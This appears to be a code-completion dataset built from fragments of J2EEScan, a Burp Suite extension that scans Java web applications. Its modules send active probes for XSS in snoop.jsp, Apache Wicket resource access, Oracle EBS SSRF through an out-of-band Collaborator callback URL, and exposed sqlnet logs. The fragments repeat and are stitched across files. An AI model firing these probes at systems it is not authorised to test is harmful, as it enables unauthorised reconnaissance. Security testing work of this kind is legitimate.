import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | new URL(protocol, url.getHost(), url.getPort(), SNOOP_PATH),
new CustomHttpRequestResponse(snoopTest, response, baseRequestResponse.getHttpService()),
TITLE_SNOOP_XSS,
DESCRIPTION_SNOOP_XSS,
REMEDY,
Risk.Medium,
Confidence.Certain
));
}
return issues;
}
} catch (MalformedURLException ex) {
stderr.println("Malformed URL Exception " + ex);
}
}
}
/**
* Attempt on the application context
*
* Ex: http://www.example.com/myapp/Login
*
* Retrieve the myapp context and test it
*
* Ex: http://www.example.com/myapp/snoop.jsp
*/ | // Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/SnoopResource.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getApplicationContext;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
new URL(protocol, url.getHost(), url.getPort(), SNOOP_PATH),
new CustomHttpRequestResponse(snoopTest, response, baseRequestResponse.getHttpService()),
TITLE_SNOOP_XSS,
DESCRIPTION_SNOOP_XSS,
REMEDY,
Risk.Medium,
Confidence.Certain
));
}
return issues;
}
} catch (MalformedURLException ex) {
stderr.println("Malformed URL Exception " + ex);
}
}
}
/**
* Attempt on the application context
*
* Ex: http://www.example.com/myapp/Login
*
* Retrieve the myapp context and test it
*
* Ex: http://www.example.com/myapp/snoop.jsp
*/ | String context = getApplicationContext(url); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/ApacheWicketArbitraryResourceAccess.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List; | private PrintWriter stderr;
@Override
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL curURL = reqInfo.getUrl();
if (curURL.getPath().contains("wicket/resource")) {
byte[] rawrequest = baseRequestResponse.getRequest();
String plainRequest = helpers.bytesToString(rawrequest);
for (String payload : PAYLOADS) {
byte[] wicketRequest = helpers.stringToBytes(plainRequest.replaceFirst("wicket\\/resource.*? HTTP", payload));
IRequestInfo rawWicketRequestInfo = helpers.analyzeRequest(wicketRequest);
List<String> headers = rawWicketRequestInfo.getHeaders();
byte message[] = helpers.buildHttpMessage(headers, Arrays.copyOfRange(wicketRequest, rawWicketRequestInfo.getBodyOffset(), wicketRequest.length));
IHttpRequestResponse resp = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message);
// look for matches of our active check grep string in the response body
byte[] httpResponse = resp.getResponse(); | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/ApacheWicketArbitraryResourceAccess.java
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
private PrintWriter stderr;
@Override
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL curURL = reqInfo.getUrl();
if (curURL.getPath().contains("wicket/resource")) {
byte[] rawrequest = baseRequestResponse.getRequest();
String plainRequest = helpers.bytesToString(rawrequest);
for (String payload : PAYLOADS) {
byte[] wicketRequest = helpers.stringToBytes(plainRequest.replaceFirst("wicket\\/resource.*? HTTP", payload));
IRequestInfo rawWicketRequestInfo = helpers.analyzeRequest(wicketRequest);
List<String> headers = rawWicketRequestInfo.getHeaders();
byte message[] = helpers.buildHttpMessage(headers, Arrays.copyOfRange(wicketRequest, rawWicketRequestInfo.getBodyOffset(), wicketRequest.length));
IHttpRequestResponse resp = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message);
// look for matches of our active check grep string in the response body
byte[] httpResponse = resp.getResponse(); | List<int[]> matches = getMatches(httpResponse, GREP_STRING, helpers); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/ApacheWicketArbitraryResourceAccess.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List; | public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL curURL = reqInfo.getUrl();
if (curURL.getPath().contains("wicket/resource")) {
byte[] rawrequest = baseRequestResponse.getRequest();
String plainRequest = helpers.bytesToString(rawrequest);
for (String payload : PAYLOADS) {
byte[] wicketRequest = helpers.stringToBytes(plainRequest.replaceFirst("wicket\\/resource.*? HTTP", payload));
IRequestInfo rawWicketRequestInfo = helpers.analyzeRequest(wicketRequest);
List<String> headers = rawWicketRequestInfo.getHeaders();
byte message[] = helpers.buildHttpMessage(headers, Arrays.copyOfRange(wicketRequest, rawWicketRequestInfo.getBodyOffset(), wicketRequest.length));
IHttpRequestResponse resp = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message);
// look for matches of our active check grep string in the response body
byte[] httpResponse = resp.getResponse();
List<int[]> matches = getMatches(httpResponse, GREP_STRING, helpers);
if (matches.size() > 0) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/ApacheWicketArbitraryResourceAccess.java
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
stderr = new PrintWriter(callbacks.getStderr(), true);
IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
URL curURL = reqInfo.getUrl();
if (curURL.getPath().contains("wicket/resource")) {
byte[] rawrequest = baseRequestResponse.getRequest();
String plainRequest = helpers.bytesToString(rawrequest);
for (String payload : PAYLOADS) {
byte[] wicketRequest = helpers.stringToBytes(plainRequest.replaceFirst("wicket\\/resource.*? HTTP", payload));
IRequestInfo rawWicketRequestInfo = helpers.analyzeRequest(wicketRequest);
List<String> headers = rawWicketRequestInfo.getHeaders();
byte message[] = helpers.buildHttpMessage(headers, Arrays.copyOfRange(wicketRequest, rawWicketRequestInfo.getBodyOffset(), wicketRequest.length));
IHttpRequestResponse resp = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message);
// look for matches of our active check grep string in the response body
byte[] httpResponse = resp.getResponse();
List<int[]> matches = getMatches(httpResponse, GREP_STRING, helpers);
if (matches.size() > 0) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/OracleEBSSSRF.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List; | int port = url.getPort();
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
String system = host.concat(Integer.toString(port));
// Collaborator context
IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
String Oracle_SSRF_Help = String.format("/OA_HTML/help?locale=en_AE&group=per:br_prod_HR:US&topic=http://%s:80/", currentCollaboratorPayload);
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), Oracle_SSRF_Help);
byte[] helpSSRFtest = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, helpSSRFtest);
// Poll Burp Collaborator for remote interaction
List<IBurpCollaboratorInteraction> collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
if (!collaboratorInteractions.isEmpty()) {
| // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/OracleEBSSSRF.java
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
int port = url.getPort();
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
String system = host.concat(Integer.toString(port));
// Collaborator context
IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
String Oracle_SSRF_Help = String.format("/OA_HTML/help?locale=en_AE&group=per:br_prod_HR:US&topic=http://%s:80/", currentCollaboratorPayload);
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
try {
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), Oracle_SSRF_Help);
byte[] helpSSRFtest = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, helpSSRFtest);
// Poll Burp Collaborator for remote interaction
List<IBurpCollaboratorInteraction> collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
if (!collaboratorInteractions.isEmpty()) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/OASSqlnetLogDisclosure.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | URL url = reqInfo.getUrl();
String host = url.getHost();
int port = url.getPort();
String system = host.concat(Integer.toString(port));
// System not yet tested for this vulnerability
if (!hs.contains(system)) {
hs.add(system);
String protocol = url.getProtocol();
Boolean isSSL = (protocol.equals("https"));
for (String SQLLOG_PATH : SQLNETLOG_PATHS) {
try {
// Test the presence of tomcat console
URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), SQLLOG_PATH);
byte[] oastest = helpers.buildHttpRequest(urlToTest);
byte[] responseBytes = callbacks.makeHttpRequest(url.getHost(),
url.getPort(), isSSL, oastest);
// look for matches of our active check grep string in the response body
IResponseInfo statusInfo = helpers.analyzeResponse(responseBytes);
if (statusInfo.getStatusCode() == 200) {
for (byte[] grepString : GREP_STRINGS) { | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/OASSqlnetLogDisclosure.java
import burp.CustomHttpRequestResponse;
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
